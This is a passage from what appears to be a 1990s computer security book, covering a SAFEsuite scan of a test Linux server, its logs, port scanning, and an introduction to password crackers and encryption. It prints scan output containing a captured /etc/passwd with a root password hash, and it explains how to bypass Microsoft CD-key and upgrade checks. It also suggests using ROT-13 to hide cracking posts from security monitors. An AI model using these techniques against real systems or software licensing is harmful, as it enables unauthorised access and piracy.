vulnerable to a DoS attack. \nFew platforms are immune to this type of attack.) \nAccording to the folks at ISS: \nSAFEsuite is the fastest, most comprehensive, proactive UNIX network security scanner \navailable. It configures easily, scans quickly, and produces comprehensive reports. SAFEsuite \nprobes a network environment for selected security vulnerabilities, simulating the techniques of a \ndetermined hacker. Depending on the reporting options you select, SAFEsuite gives you the \nfollowing information about each vulnerability found: location, in-depth description, and \nsuggested corrective actions. \nIn any case, those of you who have used earlier versions of ISS will find that the \nSAFEsuite distribution is slightly different. For example, earlier versions (with the \nexception of one trial distribution) were not for use in a GUI. For that reason, I will \nquickly cover the scan preparation in this tool. Perhaps the most dramatic change from \nthe old ISS to the new SAFEsuite is that SAFEsuite is a commercial product. \nNotes on the Server Configuration \nFor the purposes of demonstrating both target and attacker views of a scan, I established a \nserver with the hostname SamsHack. It was configured as follows: \n• \nMachine: 486 DX-4 120 AT IBM compatible \n• \nMemory: 32 MB \n• \nOperating system: Linux 1.2.13 (Slackware) \n" }, { "page_number": 158, "text": " \n \n• \nModem: 28.8 \n• \nNetwork connection: PPP (pppd) \nI chose Linux because it provides strong logging capabilities. Default logging in Linux in \ndone via a file called /var/adm/messages. (This might differ slightly, depending on the \nLinux distribution. Red Hat Linux, for example, has a slightly different directory \nstructure from Slackware. In that distribution, you will probably be focusing on the file \n/var/logs/messages.) \nThe /var/adm/messages file records status reports and messages from the system. These \nnaturally include the boot routine and any problems found there, as well as dozens of \nother processes the user might initiate. (In this case, the /var/adm/messages file will log \nour server's responses to the SAFEsuite scan.) \n \nNOTE: On some versions of Linux (and indeed, on the majority of UNIX distributions), \nmore valuable logging information can generally be found in /var/adm/syslog than \nin /var/adm/messages. This is especially so with regard to attempts by users to gain \nunauthorized access from inside the system. \n \nSystem Requirements \nAt the time this chapter was written, the Windows NT version of SAFEsuite was still in \ndevelopment. Therefore, NT users should contact the development team at ISS for details \non how to install on that platform. The system requirements are shown in Table 9.3. \nTable 9.3. Installation requirements for SAFEsuite. \nElement \nRequirement \nProcessor Speed Not defined \nRAM \n16MB or better \nNetworking \nTCP/IP \nPrivileges \nRoot or administrator \nStorage \nApproximately 5MB \nBrowser \nAny HTML-3 browser client \nMiscellaneous \nSolaris boxes require Motif 1.22+ \nSAFEsuite runs on many platforms, including but not limited to the following: \n• \nSun OS 4.1.3 or above \n• \nSolaris 2.3 or above \n• \nHP/UX 9.05 or above \n• \nIBM AIX 3.2.5 or above \n• \nLinux 1.2.x (with kernel patch) \n• \nLinux 1.3.x prior to 1.3.75 (with patch) \n" }, { "page_number": 159, "text": " \n \n• \nLinux 1.3.76+ (no patch required) \nInstalling the suite is straightforward. It unpacks like any standard UNIX utility. It should \nbe copied to a directory of your choice. Go to that directory and extract the archive, using \nthe following command: \ntar -xvf iss-xxx.tar \nAfter you untar the archive, you will see a file labeled iss.install. This is a Bourne \nshell script that will perform the installation. (This mainly involves extracting the \ndistribution disks and the help documentation, which is in HTML format.) Run this file to \ncomplete the basic installation process by executing the command sh iss.install. The \nchief executable is the xiss file, which will launch SAFEsuite in the X Window System, \nOpenWindows, or any compatible windowing system for UNIX. \nConfiguration \nIn this scan, I used the defaults to simplify the interpretation of output (by output, I mean \nnot only the information that the scan gleans from our server, but also the footprint, or \ntrail, that the scanner leaves behind). Nevertheless, the configuration options in \nSAFEsuite are very incisive. \nIf you decide to use SAFEsuite, you might want to take advantage of those incisive \noptions. If so, you need to call the Scanner Configuration window (see Figure 9.1). Some \nof the options here are similar to options formerly expressed with the command-line \ninterface (such as the outfile, or log file, which contains all information recorded during \nthe scan; this was formerly assigned with the -o option). Other options are entirely new, \nsuch as the option for specifying a Web browser. \nFigure 9.1. \nThe SAFEsuite configuration screen. \n \nNOTE: The Web browser option isn't really an option. To read the unabridged manual \nthat comes with SAFEsuite, you must specify a browser. That is, if the user does not \nspecify a browser, the Help option in the main menu window will not work. (An error \nmessage is produced, informing you that you have not chosen a browser.) If there is a \nreason why you don't want to specify a browser at that point--or if the machine you are \nusing does not have one--you can still view the entire tutorial and manual on another \nmachine. Simply transport all HTML files into a directory of your choice, start a browser, \nand open index.html. The links will work fine locally. \n \nSpecial Features The options to specify additional ports is particularly interesting. So is \nthe capability to add modules. SAFEsuite appears to be quite extensible. Thus, if you \nhack specialized code for probing parts of the system not covered by SAFEsuite, you can \ninclude these modules into the scan (as you can with Farmer and Venema's SATAN). \n \nTIP: Even if you don't write your own security tools, you can patch in the code of others. \nFor example, there are many nonestablishment scanners out there that perform \nspecialized tasks. There is no reason why these tools cannot be solidly integrated into the \nSAFEsuite scan. \n \n" }, { "page_number": 160, "text": " \n \n \n \nNOTE: The SAFEsuite program includes network maps, which are an ingenious creation \n(one that Farmer and Venema had intentions of adding to SATAN). The network map is a \nwonderful way to quickly isolate problem machines or configurations on your network. \nThese maps provide a graphical representation of your network, visually highlighting \npotential danger spots. Used in conjunction with other network architecture tools (many \nwhich are not particularly related to security), products like SAFEsuite can help you to \nquickly design safe network topology. \n \n \nCross Reference: For more information about the purchase, use, or configuration of \nSAFEsuite, contact ISS at its Web page (http://ISS). \n \nThe Scan \nThe scan took approximately two minutes. For those of you who are interested, the \nnetwork resources consumed were relatively slim. For example, while the scan occurred, \nI was also running several other applications. The scan's activity was hardly noticeable. \nThe results of the scan were enlightening. The SamsHack server was found to be \nvulnerable in several areas. These vulnerabilities ranged from trivial to serious. \n \nNOTE: For the truly curious, I was running SAFEsuite through a standard configuration \nof MIT's X Window System. The X Window manager was FVWM. \n \nThe rlogin Bug \nOne of the tests SAFEsuite runs is for a bug in the remote login program called rlogin. \nWas the SamsHack server vulnerable to rlogin attack? No. \n# Rlogin Binding to Port \n# Connected to Rlogin Port \n# Trying to gain access via Rlogin \n127.0.0.1: ---- rlogin begin output ---- \n \n127.0.0.1: ---- rlogin end output ---- \n# Rlogin check complete, not vulnerable. \nIn other areas, however, the SamsHack server was vulnerable to attack. These \nvulnerabilities were critical. Take a close look at the following log entry: \n# Time Stamp(555): Rsh check: (848027962) Thu Nov 14 19:19:22 \n# Checking Rsh For Vulnerabilities \n# Rsh Shell Binding to Port \n# Sending command to Rsh \n127.0.0.1: bin/bin logged in to rsh \n127.0.0.1: Files grabbed from rsh into `./127.0.0.1.rsh.files' \n127.0.0.1: Rsh vulnerable in hosts.equiv \n# Completed Checking Rsh for Vulnerability \nYou'll see that line 6 suggests that some files were grabbed and saved. Their output was \nsent to a file called 127.0.0.1.rsh.files. Can you guess what file or files were saved \nto that file? If you guessed the /etc/passwd file, you are quite correct. Here are the \ncontents of 127.0.0.1.rsh.files: \n" }, { "page_number": 161, "text": " \n \nroot:bBndEhmQlYwTc:0:0:root:/root:/bin/bash \nbin:*:1:1:bin:/bin: \ndaemon:*:2:2:daemon:/sbin: \nadm:*:3:4:adm:/var/adm: \nlp:*:4:7:lp:/var/spool/lpd: \nsync:*:5:0:sync:/sbin:/bin/sync \nshutdown:*:6:0:shutdown:/sbin:/sbin/shutdown \nhalt:*:7:0:halt:/sbin:/sbin/halt \nmail:*:8:12:mail:/var/spool/mail: \nnews:*:9:13:news:/usr/lib/news: \nuucp:*:10:14:uucp:/var/spool/uucppublic: \noperator:*:11:0:operator:/root:/bin/bash \ngames:*:12:100:games:/usr/games: \nman:*:13:15:man:/usr/man: \npostmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash \nnobody:*:-1:100:nobody:/dev/null: \nftp:*:404:1::/home/ftp:/bin/bash \nguest:*:405:100:guest:/dev/null:/dev/null \nFTP also proved to be vulnerable (although the importance of this is questionable): \n127.0.0.1: ---- FTP version begin output ---- \n SamsHack FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) \nready. \n127.0.0.1: ---- FTP version end output ---- \n127.0.0.1: Please login with USER and PASS. \n127.0.0.1: Guest login ok, send your complete e-mail address as \npassword. \n127.0.0.1: Please login with USER and PASS. \n127.0.0.1: ANONYMOUS FTP ALLOWED \n127.0.0.1: Guest login ok, access restrictions apply. \n127.0.0.1: \"/\" is current directory. \n127.0.0.1: iss.test: Permission denied. \n127.0.0.1: iss.test: Permission denied. (Delete) \n127.0.0.1: Entering Passive Mode (127,0,0,1,4,217) \n127.0.0.1: Opening ASCII mode data connection for /bin/ls. \n127.0.0.1: Transfer complete. \n127.0.0.1: Entering Passive Mode (127,0,0,1,4,219) \n127.0.0.1: Opening ASCII mode data connection for /etc/passwd (532 \nbytes). \n127.0.0.1: Transfer complete. \n127.0.0.1: Files grabbed via FTP into ./127.0.0.1.anonftp.files \n127.0.0.1: Goodbye. \nAs you might have surmised, the passwd file for FTP was grabbed into a file. Thus, in \nthis chapter, we have identified at least three serious security weaknesses in \nSamsHack.net: \n• \nIn an earlier scan, HTTPD was being run as root, thereby making SamsHack.net vulnerable to \nWWW attacks. \n• \nSamsHack.net is vulnerable to RSH attacks. \n• \nSamsHack.net's FTP directory allows anonymous users to access the passwd file. \n" }, { "page_number": 162, "text": " \n \nThese weaknesses are common to many operating systems in their out-of-the-box state. \nIn fact, the Linux distribution used to demonstrate this scan was out of the box. I made no \nmodifications to the installation whatsoever. Therefore, you can conclude that out-of-the-\nbox Slackware distributions are not secure. \nI have included the entire scan log on the CD-ROM that accompanies this book. Printing \nit here would be unreasonable, as it amounts to over 15 pages of information. \nYou have just seen the basics of scanning a single host. But in reality, a cracker might \nscan as many as 200 hosts in a single evening. For such widespread activity, more \nresources are required (greater bandwidth, more RAM, and a more powerful processor). \nBut resources are not the cracker's only concern; such a scan leaves a huge footprint. \nWe've seen this scan from the cracker's perspective. Now, let's look at it from the victim's \nperspective. \nThe Other Side of the Fence \nAs I noted earlier, logging capabilities are extremely important. Logs can often determine \nnot only when and how an attack took place, but also from where the attack originated. \nOn November 10, 1996, I conducted a scan identical to the one shown previously, which \nwas performed on November 14, 1996. The only difference between the two scans is that \non the November 10th scan, I employed not one but several scanners against the \nSamsHack server. Those scans and their activities were reported to the system to the file \n/var/adm/messages. Take a look at the output: \nNov 10 21:29:38 SamsHack ps[159]: connect from localhost \nNov 10 21:29:38 SamsHack netstat[160]: connect from localhost \nNov 10 21:29:38 SamsHack in.fingerd[166]: connect from localhost \nNov 10 21:29:38 SamsHack wu.ftpd[162]: connect from localhost \nNov 10 21:29:38 SamsHack in.telnetd[163]: connect from localhost \nNov 10 21:29:39 SamsHack ftpd[162]: FTP session closed \nNov 10 21:29:39 SamsHack in.pop3d[169]: connect from localhost \nNov 10 21:29:40 SamsHack in.nntpd[170]: connect from localhost \nNov 10 21:29:40 SamsHack uucico[174]: connect from localhost \nNov 10 21:29:40 SamsHack in.rlogind[171]: connect from localhost \nNov 10 21:29:40 SamsHack in.rshd[172]: connect from localhost \nNov 10 21:29:40 SamsHack telnetd[163]: ttloop: read: Broken pipe \nNov 10 21:29:41 SamsHack nntpd[170]: localhost connect \nNov 10 21:29:41 SamsHack nntpd[170]: localhost refused connection \nNov 10 21:29:51 SamsHack ps[179]: connect from localhost \nNov 10 21:29:51 SamsHack netstat[180]: connect from localhost \nNov 10 21:29:51 SamsHack wu.ftpd[182]: connect from localhost \nNov 10 21:29:51 SamsHack in.telnetd[183]: connect from localhost \nNov 10 21:29:51 SamsHack in.fingerd[186]: connect from localhost \nNov 10 21:29:51 SamsHack in.pop3d[187]: connect from localhost \nNov 10 21:29:52 SamsHack ftpd[182]: FTP session closed \nNov 10 21:29:52 SamsHack in.nntpd[189]: connect from localhost \nNov 10 21:29:52 SamsHack nntpd[189]: localhost connect \nNov 10 21:29:52 SamsHack nntpd[189]: localhost refused connection \nNov 10 21:29:52 SamsHack uucico[192]: connect from localhost \nNov 10 21:29:52 SamsHack in.rshd[194]: connect from localhost \nNov 10 21:29:52 SamsHack in.rlogind[193]: connect from localhost \n" }, { "page_number": 163, "text": " \n \nNov 10 21:29:53 SamsHack login: ROOT LOGIN ON tty2 \nNov 10 21:34:17 SamsHack ps[265]: connect from pm7-6.pacificnet.net \nNov 10 21:34:17 SamsHack netstat[266]: connect from pm7-6.pacificnet.net \nNov 10 21:34:17 SamsHack wu.ftpd[268]: connect from pm7-6.pacificnet.net \nNov 10 21:34:22 SamsHack ftpd[268]: FTP session closed \nNov 10 21:34:22 SamsHack in.telnetd[269]: connect from pm7-\n6.pacificnet.net \nNov 10 21:34:23 SamsHack in.fingerd[271]: connect from pm7-\n6.pacificnet.net \nNov 10 21:34:23 SamsHack uucico[275]: connect from pm7-6.pacificnet.net \nNov 10 21:34:23 SamsHack in.pop3d[276]: connect from pm7-\n6.pacificnet.net \nNov 10 21:34:23 SamsHack in.rlogind[277]: connect from pm7-\n6.pacificnet.net \nNov 10 21:34:23 SamsHack in.rshd[278]: connect from pm7-6.pacificnet.net \nNov 10 21:34:23 SamsHack in.nntpd[279]: connect from pm7-\n6.pacificnet.net \nNov 10 21:34:28 SamsHack telnetd[269]: ttloop: read: Broken pipe \nNov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net connect \nNov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net refused \nconnection \nNov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on \nillegal port \nThe first thing I want you to notice is the time. The first line of this log excerpt reports \nthe time as 21:29:38. The last line of the scan reports 21:34:33. Thus, the entire range of \nactivity occurred within a five-minute period. Next, I want you to take a good look at \nwhat's happening here. You will see that nearly every open, available port has been \nattacked (some of them more than once). And, on at least one occasion, the IP address \nfrom which the attack originated appears clearly within the log (specifically, on the last \nline of the small snippet of log I have provided). The line appears as \nNov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on \nillegal port \nIt is quite obvious that any system administrator looking for attacks like this one needn't \nlook far. Keep in mind that in this example, I was not running any special logging utilities \nor wrappers. Just plain, old logging, which is on by default in a factory install. \nSo the average system administrator needn't do more than search the /var/adm/message \nfile (or its equivalent) for runs of connection requests. However, you will be surprised to \nknow that an overwhelming number of system administrators do not do this on a regular \nbasis. \nOther Platforms \nScanners have traditionally been designed for UNIX. But what about other operating \nsystems? There are two aspects to consider about scanners with regard to operating \nsystem. The first is what operating system the target machine runs. The second is what \noperating system the attacking machine runs. I want to discuss these in relation to \nplatforms other than UNIX. \nThe Target Machine As Another Platform \n" }, { "page_number": 164, "text": " \n \nScanning platforms other than UNIX might or might not be of significant value. At least, \nthis is true with respect to deployment of TCP port scanners. This is because the majority \nof non-UNIX platforms that support TCP/IP support only portions of TCP/IP. In fact, \nsome of those TCP/IP implementations are quite stripped down. Frankly, several TCP/IP \nimplementations have support for a Web server only. (Equally, even those that have \nsupport for more might not evidence additional ports or services because these have been \ndisabled.) \nThis is the main reason that certain platforms, like the Macintosh platform, have thus far \nseen fewer intrusions than UNIX-based operating systems. The fewer services you \nactually run, the less likely it is that a hole will be found. That is common sense. \nEqually, many platforms other than UNIX do support extensive TCP/IP. AS/400 is one \nsuch platform. Microsoft Windows NT (with Internet Information Server) is another. \nCertainly, any system that runs any form of TCP/IP could potentially support a wide \nrange of protocols. Novell NetWare, for example, has long had support for TCP/IP. \nIt boils down to this: The information you will reap from scanning a wide variety of \noperating systems depends largely on the construct of the /etc/services file or the \ntargeted operating system's equivalent. This file defines what ports and services are \navailable. This subject will discussed later, as it is relevant to (and implemented \ndifferently on) varied operating systems. In Chapter 18, \"Novell,\" for example, I examine \nthis file and its uses on the Novell NetWare platform. \nThe Scanning Machine on Another Platform \nUsing a platform other than UNIX to perform a scan is another matter. Port scanning \nutilities for other platforms are available and, as you might surmise, we're going to use \none momentarily. The product I will be using to demonstrate this process runs in \nWindows 95. It is called Network Toolbox. \nNetwork Toolbox \nNetwork Toolbox is a TCP/IP utility for Windows 95. (This program was discussed \nearlier in this chapter in the section on network analysis utilities.) It was developed by J. \nRiver Co. of Minneapolis, Minnesota (it can be reached at info@jriver.com). The \nutility includes a port scanner. I will not conduct an exhaustive analysis of other utilities \navailable within the application (though there are many, including ping). Instead, I would \nlike to give you a quick start. Figure 9.2 shows opening screen of the application. \n1. Before conducting a scan with Network Toolbox, you must first set the scan properties. By \ndefault, the Network Toolbox port scan only queries 14 TCP/IP ports. This is insufficient for a \ncomplete scan. The output of a default scan would look like this: \nport: 9 discard Service available \nport: 13 daytime Service available \nport: 21 ftp Service available \nport: 23 telnet Service available \nport: 25 smtp Service available \nport: 37 time Service available \nport: 79 finger Service available \nport: 80 http Service available \n" }, { "page_number": 165, "text": " \n \nport:110 pop3 Service available \nport:111 portmap Service available \nport:512 exec Service available \nport:513 login Service available \nport:514 shell Service available \nport:540 uucp Service available \n2. To obtain a more comprehensive scan, you must first set the scan's properties. To do so, click \nthe Options button to call the Options panel (see Figure 9.3). \nFigure 9.2. \nThe Network Toolbox opening screen. \nFigure 9.3. \nThe Network Toolbox Options panel. \n3. After you open the Network Toolbox Options panel, select the tab marked Port Scanner. This \nwill bring you to options and settings for the scan (see Figure 9.4). \nFigure 9.4. \nThe Network Toolbox Port Scanner Option tab. \n4. The Port Scanner Option tab provides a series of options regarding ports. One is to specify a \nrange of ports by number. This is very useful, though I would probably scan all available ports. \n \n5. The last step is to actually scan the targeted host. This is done by choosing the Scan button \nshown in Figure 9.5. \nFigure 9.5. \nSelect the Scan button to scan the targeted host. \nThe port scanner in Network Toolbox is fast and accurate. The average scan takes less \nthan a minute. I would characterize this as a good product. Moreover, it provides ports of \nseveral other UNIX utilities of interest. \nThe information gleaned using this utility is quite similar to that obtained using Strobe. It \nwill not tell you the owner of a process, nor does the Network Toolbox port scanner try \ndoors or windows. (In other words, it makes no attempt to penetrate the target network.) \nHowever, it is valuable because it can quickly determine what processes are now running \non the target. \nSummary \nIn this chapter, you have learned a little bit about scanners, why they were developed, and \nhow they work. But education about scanners doesn't stop there. You might be surprised \nto know that new scanners crop up every few months or so, and these are usually more \nfunctional than their predecessors. \nInternet security is a constantly changing field. As new holes are discovered, they are \nposted to various mailing lists, alert rosters, and newsgroups. Most commonly, such alerts \nend up at CERT or CIAC. Crackers and hackers alike belong to such mailing lists and \noften read CERT advisories. Thus, these new holes become common knowledge often \nminutes or hours after they are posted. \n" }, { "page_number": 166, "text": " \n \nAs each new hole is uncovered, capabilities to check for the new hole are added to \nexisting scanners. The process is not particularly complex. In most cases, the cracker \nneed only write a small amount of additional code, which is then pasted into the existing \nsource code of his or her scanner. The scanner is then recompiled and voilà! The cracker \nis ready to exploit a new hole on a wide scale. This is a never-ending process. \nSystem administrators must learn about and implement scanners. It is a fact of life. Those \nwho fail to do so will suffer the consequences, which can be very grave. I believe \nscanners can educate new system administrators as to potential security risks. If for no \nother reason than this, scanners are an important element of Internet security. I \nrecommend trying out as many as possible. \n" }, { "page_number": 167, "text": " \n \n10 \nPassword Crackers \nThis chapter examines password crackers. Because these tools are of such significance in \nsecurity, I will cover many different types, including those not expressly designed to \ncrack Internet-related passwords. \nWhat Is a Password Cracker? \nThe term password cracker can be misinterpreted, so I want to define it here. A password \ncracker is any program that can decrypt passwords or otherwise disable password \nprotection. A password cracker need not decrypt anything. In fact, most of them don't. \nReal encrypted passwords, as you will shortly learn, cannot be reverse-decrypted. \nA more precise way to explain this is as follows: encrypted passwords cannot be \ndecrypted. Most modern, technical encryption processes are now one-way (that is, there \nis no process to be executed in reverse that will reveal the password in plain text). \nInstead, simulation tools are used, utilizing the same algorithm as the original password \nprogram. Through a comparative analysis, these tools try to match encrypted versions of \nthe password to the original (this is explained a bit later in this chapter). Many so-called \npassword crackers are nothing but brute-force engines--programs that try word after \nword, often at high speeds. These rely on the theory that eventually, you will encounter \nthe right word or phrase. This theory has been proven to be sound, primarily due to the \nfactor of human laziness. Humans simply do not take care to create strong passwords. \nHowever, this is not always the user's fault: \nUsers are rarely, if ever, educated as to what are wise choices for passwords. If a password is in \nthe dictionary, it is extremely vulnerable to being cracked, and users are simply not coached as to \n\"safe\" choices for passwords. Of those users who are so educated, many think that simply because \ntheir password is not in /usr/dict/words, it is safe from detection. Many users also say that \nbecause they do not have private files online, they are not concerned with the security of their \naccount, little realizing that by providing an entry point to the system they allow damage to be \nwrought on their entire system by a malicious cracker.1 \n \n1Daniel V. Klein, A Survey of, and Improvements to, Password Security. Software \nEngineering Institute, Carnegie Mellon University, Pennsylvania. (PostScript creation \ndate reported: February 22, 1991.) \n \nThe problem is a persistent one, despite the fact that password security education \ndemands minimal resources. It is puzzling how such a critical security issue (which can \neasily be addressed) is often overlooked. The issue goes to the very core of security: \n...exploiting ill-chosen and poorly-protected passwords is one of the most common attacks on \nsystem security used by crackers. Almost every multi-user system uses passwords to protect \nagainst unauthorized logons, but comparatively few installations use them properly. The problem \nis universal in nature, not system-specific; and the solutions are simple, inexpensive, and \n" }, { "page_number": 168, "text": " \n \napplicable to any computer, regardless of operating system or hardware. They can be understood \nby anyone, and it doesn't take an administrator or a systems programmer to implement them.2 \n \n2K. Coady. Understanding Password Security For Users on & offline. New England \nTelecommuting Newsletter, 1991. \n \nIn any event, I want to define even further the range of this chapter. For our purposes, \npeople who provide registration passwords or CD keys are not password crackers, nor are \nthey particularly relevant here. Individuals who copy common registration numbers and \nprovide them over the Internet are pirates. I discuss these individuals (and yes, I point to \nsome sites) at the end of this chapter. Nevertheless, these people (and the files they \ndistribute, which often contain thousands of registration numbers) do not qualify as \npassword crackers. \n \nNOTE: These registration numbers and programs that circumvent password protection \nare often called cracks. A Usenet newsgroup has actually been devoted to providing such \npasswords and registration numbers. Not surprisingly, within this newsgroup, many \nregistration numbers are routinely trafficked, and the software to which they apply is also \noften posted there. That newsgroup is appropriately called alt.cracks. \n \nThe only exception to this rule is a program designed to subvert early implementations of \nthe Microsoft CD key validation scheme (although the author of the source code did not \nintend that the program be used as a piracy tool). Some explanation is in order. \nAs part of its anti-piracy effort, Microsoft developed a method of consumer \nauthentication that makes use of the CD key. When installing a Microsoft product for the \nfirst time, users are confronted by a dialog box that requests the CD key. This is a \nchallenge to you; if you have a valid key, the software continues to install and all is well. \nIf, however, you provide an invalid key, the installation routine exits on error, explaining \nthat the CD key is invalid. \nSeveral individuals examined the key validation scheme and concluded that it was poorly \ndesigned. One programmer, Donald Moore, determined that through the following \nprocedure, a fictional key could be tested for authenticity. His formula is sound and \nbasically involves these steps: \n1. Take all numbers that are trivial and irrelevant to the key and discard them.ò \n \n2. Add the remaining numbers together. \n \n3. Divide the result by 7. \nThe number that you derive from this process is examined in decimal mode. If the \nnumber has no fractional part (there are no numeric values to the right of the decimal \npoint), the key is valid. If the number contains a fractional part (there are numbers to the \nright of the decimal), the key is invalid. Moore then designed a small program that would \nautomate this process. \n \nCross Reference: Moore's complete explanation and analysis of the CD key validation \nroutine is located at http://www.apexsc.com/vb/lib/lib3.html. \n" }, { "page_number": 169, "text": " \n \n \nThe programmer also posted source code to the Internet, written in garden-variety C. I \nhave compiled this code on several platforms and it works equally well on all. (The \nplatforms I have compiled it on include DOS, NT, Linux, and AIX.) The utility is quite \nvaluable, I have found, for I often lose my CD keys. \n \nCross Reference: The source code is located at \nhttp://www.futureone.com/~damaged/PC/Microsoft_CD_Key/mscdsr\nc.html. \n \nThis type of utility, I feel, qualifies in this chapter as a form of password cracker. I \nsuspect that some of you will use this utility to subvert the CD key validation. However, \nin order to do so, you must first know a bit of C (and have a compiler available). My \nfeeling is, if you have these tools, your level of expertise is high indeed, and you are \nprobably beyond stealing software from Microsoft. (I hope.) \n \nNOTE: Microsoft's method of protecting upgrade packages is also easily bypassed. \nUpgrades install as long as you have the first disk of a previous version of the specified \nsoftware. Therefore, a user who obtains the first disk of Microsoft Visual Basic \nProfessional 3.0, for example, can install the 4.0 upgrade. For this reason, some pirate \ngroups distribute images of that first disk, which are then written to floppies. (In rare \ninstances when the exact image must appear on the floppy, some people use \nrawrite.exe or dd.exe, two popular utilities that write an image directly to a \nfloppy. This technique differs from copying it to a floppy.) In addition, it is curious to \nnote that certain upgrade versions of VB will successfully install even without the floppy \nproviding that Microsoft Office has been installed first. \n \nI should make it clear that I do not condone piracy (even though I feel that many \ncommercial software products are criminally overpriced). I use Linux and GNU. In that \nrespect, I owe much to Linus Torvalds and Richard Stallman. I have no fear of violating \nthe law because most of the software I use is free to be redistributed to anyone. (Also, I \nhave found Linux to be more stable than many other operating systems that cost hundreds \nof dollars more.) \nLinux is an entirely copy-free operating system, and the GNU suite of programs is under \nthe general public license. That is, you are free to redistribute these products to anyone at \nany time. Doing so does not violate any agreement with the software authors. Many of \nthese utilities are free versions of popular commercial packages, including C and C++ \ncompilers, Web-development tools, or just about anything you can dream of. These \nprograms are free to anyone who can download them. They are, quite frankly, a godsend \nto anyone studying development. \nIn any event, the password crackers I will be examining here are exactly that: they crack, \ndestroy, or otherwise subvert passwords. I provide information about registration cracks \nat the end of the chapter. That established, let's move forward. \nHow Do Password Crackers Work? \n" }, { "page_number": 170, "text": " \n \nTo understand how password crackers work, you need only understand how password \ngenerators work. Most password generators use some form of cryptography. \nCryptography is the practice of writing in some form of code. \nCryptography \nThis definition is wide, and I want to narrow it. The etymological root of the word \ncryptography can help in this regard. Crypto stems from the Greek word kryptos. Kryptos \nwas used to describe anything that was hidden, obscured, veiled, secret, or mysterious. \nGraph is derived from graphia, which means writing. Thus, cryptography is the art of \nsecret writing. An excellent and concise description of cryptography is given by Yaman \nAkdeniz in his paper Cryptography & Encryption: \nCryptography defined as \"the science and study of secret writing,\" concerns the ways in which \ncommunications and data can be encoded to prevent disclosure of their contents through \neavesdropping or message interception, using codes, ciphers, and other methods, so that only \ncertain people can see the real message.3 \n \n3Yaman Akdeniz, Cryptography & Encryption August 1996, Cyber-Rights & Cyber-\nLiberties (UK) at \nhttp://www.leeds.ac.uk/law/pgs/yaman/cryptog.htm. (Criminal \nJustice Studies of the Law Faculty of University of Leeds, Leeds LS2 9JT.) \n \nMost passwords are subjected to some form of cryptography. That is, passwords are \nencrypted. To illustrate this process, let me reduce it to its most fundamental. Imagine \nthat you created your own code, where each letter of the alphabet corresponded to a \nnumber (see Figure 10.1). \nFIGURE 10.1. \nA primitive example of a code. \nIn Figure 10.1, there is a table, or legend, to the left. Below each letter is a corresponding \nnumber. Thus, A = 7, B = 2, and so forth. This is a code of sorts, similar to the kind seen \nin secret-decoder kits found by children in their cereal boxes. You probably remember \nthem: They came with decoder rings and sometimes even included a tiny code book for \nbreaking the code manually. \nUnfortunately, such a code can be easily broken. For example, if each letter has a fixed \nnumeric counterpart (that is, that counterpart never changes), it means that you will only \nbe using 26 different numbers (presumably 1 through 26, although you could choose \nnumbers arbitrarily). Assume that the message you are seeking to hide contains letters but \nno numbers. Lexical analysis would reveal your code within a few seconds. There are \nsoftware programs that perform such analysis at high speed, searching for patterns \ncommon to your language. \nROT-13 \nAnother method (slightly more complex) is where each letter becomes another letter, \nbased on a standard, incremental (or decremental) operation. To demonstrate this \ntechnique, I will defer to ROT-13 encoding. ROT-13 is a method whereby each letter is \n" }, { "page_number": 171, "text": " \n \nreplaced by a substitute letter. The substitute letter is derived by moving 13 letters ahead \n(see Figure 10.2). \nFIGURE 10.2. \nThe ROT-13 principle of letter substitution. \nThis, too, is an ineffective method of encoding or encrypting a message (although it \nreportedly worked in Roman times for Caesar, who used a shift-by-three formula). There \nare programs that quickly identify this pattern. However, this does not mean that \ntechniques like ROT-13 are useless. I want to illustrate why and, in the process, I can \ndemonstrate the first important point about passwords and encryption generally: \nAny form of encryption may be useful, given particular circumstances. These circumstances may \ndepend upon time, the sensitivity of the information, and from whom you want to hide data. \nIn other words, techniques like the ROT-13 implementation may be quite useful under \ncertain circumstances. Here is an example: Suppose a user wants to post a cracking \ntechnique to a Usenet group. He or she has found a hole and wants to publicize it while it \nis still exploitable. Fine. To prevent bona-fide security specialists from discovering that \nhole as quickly as crackers, ROT-13 can be used. \nRemember how I pointed out that groups like NCSA routinely download Usenet traffic \non a wholesale basis? Many groups also use popular search engines to ferret out cracker \ntechniques. These search engines primarily employ regex (regular expression) searches \n(that is, they search by word or phrase). For example, the searching party (perhaps \nNCSA, perhaps any interested party) may enter a combination of words such as \n• \ncrack \n• \nhack \n• \nvulnerability \n• \nhole \nWhen this combination of words is entered correctly, a wealth of information emerges. \nCorrectly might mean many things; each engine works slightly differently. For example, \nsome render incisive results if the words are enclosed in quotation marks. This sometimes \nforces a search that is case sensitive. Equally, many engines provide for the use of \ndifferent Boolean expressions. Some even provide fuzzy-logic searches or the capability \nto mark whether a word appears adjacent, before, or after another word or expression. \nWhen the cracker applies the ROT-13 algorithm to a message, such search engines will \nmiss the post. For example, the message \nGuvf zrffntr jnf rapbqrq va EBG-13 pbqvat. Obl, qvq vg ybbx fperjl hagvy jr haeniryrq vg! \nis clearly beyond the reach of the average search engine. What it really looks like is this: \nThis message was encoded in ROT-13 coding. Boy, did it look screwy until we unraveled it! \nMost modern mail and newsreaders support ROT-13 encoding and decoding (Free Agent \nby Forte is one; Netscape Navigator's Mail package is another). Again, this is a very \n" }, { "page_number": 172, "text": " \n \nsimple form of encoding something, but it demonstrates the concept. Now, let's get a bit \nmore specific. \nDES and Crypt \nMany different operating systems are on the Internet. The majority of servers, however, \nrun some form of UNIX. On the UNIX platform, all user login IDs and passwords are \nstored in a central location. That location, for many years, was in the directory /etc \nwithin a file passwd (/etc/passwd). The format of this file contains various fields. Of \nthose, we are concerned with two: the login ID and the password. \nThe login ID is stored plain text, or in perfectly readable English. (This is used as a key \nfor encryption.) The password is stored in an encrypted form. The encryption process is \nperformed using Crypt(3), a program based on the data encryption standard (DES). IBM \ndeveloped the earliest version of DES; today, it is used on all UNIX platforms for \npassword encryption. DES is endorsed jointly by the National Bureau of Standards and \nthe National Security Agency. In fact, since 1977, DES has been the generally accepted \nmethod for safeguarding sensitive data. Figure 10.3 contains a brief timeline of DES \ndevelopment. \nFIGURE 10.3. \nBrief timeline of the development of DES. \nDES was developed primarily for the protection of certain nonclassified information that \nmight exist in federal offices. As set 